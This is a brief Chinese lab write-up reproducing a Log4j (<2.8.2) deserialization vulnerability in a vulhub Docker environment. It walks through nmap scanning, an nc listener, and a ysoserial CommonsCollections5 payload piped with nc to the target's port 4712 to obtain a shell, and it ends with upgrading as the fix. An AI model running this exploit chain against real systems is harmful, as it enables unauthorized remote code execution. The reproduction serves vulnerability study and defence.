一、漏洞介绍
1.1 漏洞介绍
Apache的一个开源的日志记录库,通过使用Log4j语言接口,可以在C、C++、.Net、PL/SQL程序中方便使用,其语法和用法与在Java程序中一样,使得多语言分布式系统得到一个统一一致的日志组件模块。通过使用三方扩展,可以将Log4j集成到J2EE、JINI甚至是SNMP应用中。但Log4j2.8.2之前的版本中存在反序列化漏洞。
1.2 影响版本
- Log4j<2.8.2
二、漏洞复现
使用vulhub漏洞环境复现
》》docker中启动漏洞环境
》》nmap探测对方端口服务状态
》》准备一台公网服务器,开启nc监听(用于探测漏洞)
》》使用ysoserial生成payload,发送给目标服务器的4712端口,使其加载执行代码
java -jar ysoserial.jar CommonsCollections5 "(Payload)" | nc VictimIP 4712
》》成功拿到shell
如果接不到shell,尝试关闭防火墙
三、防御措施
升级Log4j到最新版本